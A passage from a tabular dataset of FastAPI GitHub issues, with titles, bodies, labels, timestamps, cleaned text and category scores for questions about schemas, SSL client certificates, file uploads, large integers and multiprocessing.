    allow_origins=origins,
    allow_credentials=True,
    allow_methods=[""*""],
    allow_headers=[""*""],
)


@app.put(""/known_words"")
async def change_known_words(data: SimpleText):
    return data
```


### Description

FastApi doesn't see any schema in my BaseModel (not only in the docs but in  requests too). It seems that for RestApi schema is empty which is not true. I experimented by adding more fields and types but same effect.

### Operating Syste... [TRUNCATED]","question,question-migrate",2022-10-15 12:46:11+00:00,2023-02-27 21:25:58+00:00,3,"question,question-migrate",135.361,fastapi doesn t see schema basemodel first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description fastapi doesn t see any schema in my basemodel not only in the docs but in requests too it seems that for restapi schema is empty which is not true i experimented by adding more fields and types but same effect operating syste truncated,help,0.8177
tiangolo/fastapi,1407851863,Obtain SSL client certificate from FastAPI request,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@app.get(""/"")
async def get_root(request:Request):
  # how do I obtain the DN from the SSL client cert?
  return ""hello""
```


### Description

uvicorn provides the SSL front end and manages client certificates, i.e. 

```
uvicorn.run(
  ""main:app"", host=""0.0.0.0"", port=8443,
  ssl_cert_reqs=2, 
  ssl_ca_cert=""/path/to/certs.cert"",
  ssl_keyfile=""/path/to/keyfile"", 
  ssl_certfile=""/path/to/certfile""
)
```

But there appears to be no way to extract the Distinguised Name from the client certifcate within FastAPI, which I assume means uvicorn does not pass it.



### Operating System

Linux

### Operating System Details

Ubuntu, but an... [TRUNCATED]","question,investigate,question-migrate",2022-10-13 13:55:05+00:00,2023-02-28 15:42:53+00:00,1,"question,investigate,question-migrate",138.0749,obtain ssl client certificate from fastapi request first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description uvicorn provides the ssl front end and manages client certificates i e but there appears to be no way to extract the distinguised name from the client certifcate within fastapi which i assume means uvicorn does not pass it linux details ubuntu but an truncated,feature,0.872
tiangolo/fastapi,1405993948,not accepting a dict in request body with a csv upload,"### First Check

- [ ] I added a very descriptive title to this issue.
- [ ] I used the GitHub search to find a similar issue and didn't find it.
- [ ] I searched the FastAPI documentation, with the integrated search.
- [ ] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [ ] I already read and followed all the tutorial in the docs and didn't find an answer.
- [ ] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [ ] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [ ] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [ ] I commit to help with one of those options 👆

### Example Code

```python
async def upload_csv(csv_file: UploadFile = File(...), data: dict = Body(..., example={})):
    pass
```


### Description

1) request body with upload file
2) add a dictionary also to the dictionary body
3) it keeps giving error 'is not a valid dict'

### Operating System

macOS

### Operating System Details

_No response_

### FastAPI Version

0.85

### Python Version

3.10.7

### Additional Context

_No response_","question,answered,question-migrate",2022-10-12 10:50:14+00:00,2023-02-27 21:25:55+00:00,5,"question,answered,question-migrate",138.4414,not accepting a dict in request body with a csv upload first check i added a very descriptive title to this issue i used the github search to find a similar issue and didn t find it i searched the fastapi documentation with the integrated search i already searched in google how to x in fastapi and didn t find any information i already read and followed all the tutorial in the docs and didn t find an answer i already checked if it is not related to fastapi but to pydantic i already checked if it is not related to fastapi but to swagger ui i already checked if it is not related to fastapi but to redoc commit to help i commit to help with one of those options example code description request body with upload file add a dictionary also to the dictionary body it keeps giving error is not a valid dict macos details no response fastapi version python version no response,feature,0.6816
tiangolo/fastapi,1405828669,response_model doesn't work when using default_factory,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import List

from fastapi import FastAPI
from pydantic import BaseModel, Field

app = FastAPI()


class Schema(BaseModel):
    business: List[str] = Field(default_factory=list)


@app.get(""/test"", response_model=Schema)
def test():
    return {}
```


### Description

expect: {""business"": []}

actually: {""business"": None}

### Operating System

Linux

### Operating System Details

_No response_

### FastAPI Version

0.81.0

### Python Version

3.8

### Additional Context

_No response_","question,investigate,question-migrate",2022-10-12 08:53:00+00:00,2023-02-28 15:42:50+00:00,6,"question,investigate,question-migrate",139.2846,response model doesn t work when using default factory first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description expect business actually business none linux details no response fastapi version python version no response,help,0.9465
tiangolo/fastapi,1405452059,"Is there a Python type related bug here, due to the operator ""+"" not supporting the addition of [int] and [str]?","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# fastapi/docs_src/python_types/tutorial003.py

def get_name_with_age(name: str, age: int):
    name_with_age = name + "" is this old: "" + age
    return name_with_age
```


### Description

I am currently doing some research on the security of Python type. 
Is there a Python type related bug here, due to the operator ""+"" not supporting the addition of [int] and [str]?
`"" is this old: "" + age`
Will it affect your code security?

I sincerely hope that I can help Fastapi become stronger and safer

### Operating System

Linux

### Operating System Details

_No response_

### FastAPI Version

0.85.0

### Python Version

3.10.6

### Additional Con... [TRUNCATED]","question,answered,question-migrate",2022-10-12 02:12:33+00:00,2023-02-27 21:25:50+00:00,8,"question,answered,question-migrate",138.8009,is there a python type related bug here due to the operator not supporting the addition of int and str first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i am currently doing some research on the security of python type is there a python type related bug here due to the operator not supporting the addition of int and str will it affect your code security i sincerely hope that i can help fastapi become stronger and safer linux details no response fastapi version python version additional con truncated,bug,0.9775
tiangolo/fastapi,1403424340,My PullRequest (translation of documentation) broke units tests...,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
N/A
```


### Description

I translated a page of the documentation in french, and make a Pull Request : 
https://github.com/tiangolo/fastapi/pull/5477

And the CI/CD shows 2 problems with the Unit Test (for the 3.7 and 3.9 plateform) : 
https://github.com/tiangolo/fastapi/actions/runs/3215376279/jobs/5256425256
https://github.com/tiangolo/fastapi/actions/runs/3215376279/jobs/5256425208

I don't understand why (I just add .md file).

The log explains : 

```
        modulename = ""anyio._backends._"" + asynclib_name
        try:
>           return sys.modules[modulename]
E           KeyError: 'anyio._backends._trio'

/opt/hostedtoolcac... [TRUNCATED]","question,question-migrate",2022-10-10 16:19:16+00:00,2023-02-27 21:25:46+00:00,7,"question,question-migrate",140.2128,my pullrequest translation of documentation broke units tests first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i translated a page of the documentation in french and make a pull request and the ci cd shows problems with the unit test for the and plateform i don t understand why i just add md file the log explains modulename anyio backends asynclib name try return sys modules modulename e keyerror anyio backends trio opt hostedtoolcac truncated,feature,0.8047
tiangolo/fastapi,1402486312,How to fetch mysql timestamp column?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import Depends, FastAPI, HTTPException
from sqlalchemy.orm import Session
import uvicorn
from sql_app import crud, models, schemas
from sql_app.database import SessionLocal, engine

models.Base.metadata.create_all(bind=engine)

app = FastAPI()


# Dependency
def get_db():
    db = SessionLocal()
    try:
        yield db
    finally:
        db.close()



@app.get(""/customers/{cid}"", response_model=schemas.Customer)
def read_user(cid: int, db: Session = Depends(get_db)):
    db_user = crud.get_customer(db, cid=cid)
    if db_user is None:
        raise HTTPException(status_code=404, detail=""Customer not found"")
... [TRUNCATED]","question,question-migrate",2022-10-10 01:43:38+00:00,2023-02-27 21:25:42+00:00,5,"question,question-migrate",140.8209,how to fetch mysql timestamp column first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from fastapi import depends fastapi httpexception from sqlalchemy orm import session import uvicorn from sql app import crud models schemas from sql app database import sessionlocal engine models base metadata create all bind engine app fastapi dependency def get db db sessionlocal try yield db finally db close app get customers cid response model schemas customer def read user cid int db session depends get db db user crud get customer db cid cid if db user is none raise httpexception status code detail customer not found truncated,help,0.9366
tiangolo/fastapi,1402299111,"About ""UploadFile""","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@PostRouter.post(""/file"", response_model=Response)
async def UploadSmall(request: Request,
                      document: UploadFile = File(..., alias=""document""),
                      password: Union[str, None] = Body(default=None,
                                                        min_length=4,
                                                        max_length=11,
                                                        alias=""password"")):
    headers = request.headers
    cl = int(headers[""content-length""])
    if cl > int(Configs[""FILE""][""MAXSIZE""]):
        return FileUploadFail(Msg=""超过最大文件限制大小"")
    if document.content_type not... [TRUNCATED]","question,question-migrate",2022-10-09 14:53:58+00:00,2023-02-27 21:25:38+00:00,3,"question,question-migrate",141.272,about uploadfile first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python postrouter post file response model response async def uploadsmall request request document uploadfile file alias document password union str none body default none min length max length alias password headers request headers cl int headers content length if cl int configs file maxsize return fileuploadfail msg if document content type not truncated,help,0.9136
tiangolo/fastapi,1402100976,Reading request body in dependency without Stream closed error,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
#dependencies.py
async def log_request_info(request: Request):
    request_body = Body(request)
    logger.debug(""Received request"", extra={""data"": request_body.default})

#inside some ApiRouter
router = APIRouter(dependencies= [Depends(log_request_info)])
```


### Description

I had a problem with creating generic system of logging all requests and responses. I have problem with logging request's body.

Currently I am doing something like in the example code 
I have read doc for Fastapi and didn't find anything to get whole body inside dependency without getting weird Stream Closed errors. 

Is the code provided h... [TRUNCATED]","question,answered,question-migrate",2022-10-09 00:11:21+00:00,2023-02-27 21:25:34+00:00,6,"question,answered,question-migrate",141.8849,reading request body in dependency without stream closed error first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i had a problem with creating generic system of logging all requests and responses i have problem with logging request s body currently i am doing something like in the example code i have read doc for fastapi and didn t find anything to get whole body inside dependency without getting weird stream closed errors is the code provided h truncated,bug,0.8769
tiangolo/fastapi,1401411365,Receiving NULL when using fastapi with flutterflow,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
#this section will be for providing an API for the application

#system imports
import os
import sys
import psycopg2
import pandas as pd
import datetime as dt
import uvicorn 
from typing import Union
import fastapi 
from fastapi import FastAPI, Depends, HTTPException
from fastapi.security import OAuth2PasswordBearer
from fastapi.encoders import jsonable_encoder
from fastapi.responses import JSONResponse
import json
from starlette import status
from pydantic import BaseModel
import warnings
warnings.filterwarnings(""ignore"")

#the os path to the folder to the ocular-git master folder
dir_path = os.getcwd()
#the sub path to the pa... [TRUNCATED]","question,question-migrate",2022-10-07 16:18:57+00:00,2023-02-27 21:25:31+00:00,2,"question,question-migrate",143.2129,receiving null when using fastapi with flutterflow first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python this section will be for providing an api for the application system imports import os import sys import psycopg import pandas as pd import datetime as dt import uvicorn from typing import union import fastapi from fastapi import fastapi depends httpexception from fastapi security import oauth passwordbearer from fastapi encoders import jsonable encoder from fastapi responses import jsonresponse import json from starlette import status from pydantic import basemodel import warnings warnings filterwarnings ignore the os path to the folder to the ocular git master folder dir path os getcwd the sub path to the pa truncated,help,0.7876
tiangolo/fastapi,1400806378,Rename 'additionalProp1' in docs to a more descriptive one,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
from pydantic import BaseModel, Field, parse_obj_as

app = FastAPI()

City = str  # a type alias

class Misc(BaseModel):
    content: dict = Field(description=""All other data here."")

class CompanyDataOut(BaseModel):
    __root__: dict[City, Misc]

@app.post(""/"", response_model=CompanyDataOut)
async def test():
    m = Misc(content={})
    return {""New York"": m}
```


### Description

Open the docs.

It shows response example as:
```
{
  ""additionalProp1"": {
    ""content"": {}
  },
  ""additionalProp2"": {
    ""content"": {}
  },
  ""additionalProp3"": {
    ""content"": {}
  }
... [TRUNCATED]","question,answered,question-migrate",2022-10-07 08:22:17+00:00,2023-02-27 21:25:28+00:00,7,"question,answered,question-migrate",143.5439,rename additionalprop in docs to a more descriptive one first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description open the docs it shows response example as additionalprop content additionalprop content additionalprop content truncated,documentation,0.9136
tiangolo/fastapi,1400319944,Passing `scoped_session` method dependency to path dependency triggers `Invalid args for response field` pydantic error,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import Any

from fastapi import APIRouter
from fastapi import Depends
from pydantic import BaseModel
from sqlalchemy import create_engine
from sqlalchemy.orm import scoped_session
from sqlalchemy.orm import sessionmaker

DB_URL = ""some_db_url""

class TestSuccess(BaseModel):
    message: str = ""Test success""
    code: int = 200
    param_1: str


router = APIRouter(prefix=""/test_router"")

def get_db_session() -> scoped_session:

    engine = create_engine(DB_URL)
    session_maker = sessionmaker(bind=engine)
    db_session = scoped_session(session_maker)

    return db_session

def query_db(para... [TRUNCATED]","question,question-migrate",2022-10-06 21:26:55+00:00,2023-02-27 21:25:24+00:00,5,"question,question-migrate",143.9989,passing method dependency to path dependency triggers pydantic error first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from typing import any from fastapi import apirouter from fastapi import depends from pydantic import basemodel from sqlalchemy import create engine from sqlalchemy orm import scoped session from sqlalchemy orm import sessionmaker db url some db url class testsuccess basemodel message str test success code int param str router apirouter prefix test router def get db session scoped session engine create engine db url session maker sessionmaker bind engine db session scoped session session maker return db session def query db para truncated,bug,0.9684
tiangolo/fastapi,1399287649,64 bit integers,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI

app = FastAPI()

@app.get(""/"")
def read_root():
    return {f""{2**61}"": 2**61}
```


### Description

trying to return a long integer value (e.g., 2**61)
numbers are rounded to next 1,000

the output of the code is:
```python
{
  ""2305843009213693952"": 2305843009213694000
}
```

### Operating System

Linux

### Operating System Details

Ubuntu 22.04 (in WSL2 / Windows-11)

### FastAPI Version

0.85.0

### Python Version

3.9.13

### Additional Context

_No response_","question,question-migrate",2022-10-06 10:16:01+00:00,2023-02-27 21:25:19+00:00,9,"question,question-migrate",144.4648,bit integers first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description trying to return a long integer value e g numbers are rounded to next the output of the code is linux details ubuntu in wsl windows fastapi version python version no response,help,0.9186
tiangolo/fastapi,1398172179,`Request` provided as argument can be different from actual one,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import fastapi
import fastapi.exception_handlers
import fastapi.testclient
import starlette.exceptions


app = fastapi.FastAPI(root_path=""/api"", title=""Custom root path problem"")
router = fastapi.APIRouter(prefix=""/api"")


@app.exception_handler(starlette.exceptions.HTTPException)
async def http_handler(request: fastapi.Request, exception: fastapi.HTTPException):
    print(""HTTP error: "", exception.detail, ""; URL in the request object:"", request.url)
    response = await fastapi.exception_handlers.http_exception_handler(request, exception)
    return response


@app.exception_handler(Exception)
async def exception_... [TRUNCATED]","question,answered,reviewed,question-migrate",2022-10-05 18:08:00+00:00,2023-02-27 21:25:15+00:00,8,"question,answered,reviewed,question-migrate",145.137,provided as argument can be different from actual one first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python import fastapi import fastapi exception handlers import fastapi testclient import starlette exceptions app fastapi fastapi root path api title custom root path problem router fastapi apirouter prefix api app exception handler starlette exceptions httpexception async def http handler request fastapi request exception fastapi httpexception print http error exception detail url in the request object request url response await fastapi exception handlers http exception handler request exception return response app exception handler exception async def exception truncated,feature,0.6124
tiangolo/fastapi,1396106787,Unclosed socket due to spawn child processes using multiprocessing,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import multiprocessing
import os
import time

import uvicorn
from fastapi import FastAPI

app = FastAPI()
processes = []


def keep_alive_process():
    while True:
        print(f""process {os.getpid()} is alive"")
        time.sleep(1)


@app.post(""/start"")
async def start_processes():

    for i in range(4):
        process = multiprocessing.Process(target=keep_alive_process,
                                          args=())
        processes.append(process)
        process.start()

    return {'status': 'started'}


@app.post(""/stop"")
async def stop_processes():

    for process in processes:
        process.kill()... [TRUNCATED]","question,investigate,question-migrate",2022-10-04 11:28:23+00:00,2023-02-28 15:42:47+00:00,1,"question,investigate,question-migrate",147.1767,unclosed socket due to spawn child processes using multiprocessing first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python import multiprocessing import os import time import uvicorn from fastapi import fastapi app fastapi processes def keep alive process while true print f process os getpid is alive time sleep app post start async def start processes for i in range process multiprocessing process target keep alive process args processes append process process start return status started app post stop async def stop processes for process in processes process kill truncated,help,0.9253
tiangolo/fastapi,1395918343,MJPEG endpoint in /docs,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
def package_mjpeg(img_bytes: bytes, metadata: FrameMetadata = None) -> bytes:
        """"""Package jpeg bytes with MJPEG headers and frame separator

        Also append metadata if present
        """"""
        mjpeg = b""Content-Type: image/jpeg\r\n\r\n""
        mjpeg += img_bytes + b""\r\n""

        if metadata:
            mjpeg += b""Timestamp:"" + bytes(str(metadata.time), ""utf-8"")
            mjpeg += b""\r\n""
            mjpeg += b""Sequence:"" + bytes(str(metadata.sequence), ""utf-8"")
            mjpeg += b""\r\n""

        mjpeg += b""--frame\r\n""

        return mjpeg

async def async_gen(camera: BaseCamera) -> Generat... [TRUNCATED]","question,question-migrate",2022-10-04 09:09:42+00:00,2023-02-27 21:25:11+00:00,3,"question,question-migrate",146.5108,mjpeg endpoint in docs first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python def package mjpeg img bytes bytes metadata framemetadata none bytes package jpeg bytes with mjpeg headers and frame separator also append metadata if present mjpeg b content type image jpeg r n r n mjpeg img bytes b r n if metadata mjpeg b timestamp bytes str metadata time utf mjpeg b r n mjpeg b sequence bytes str metadata sequence utf mjpeg b r n mjpeg b frame r n return mjpeg async def async gen camera basecamera generat truncated,documentation,0.9136
tiangolo/fastapi,1394747969,Is installing websockets a requirement?,"### First Check

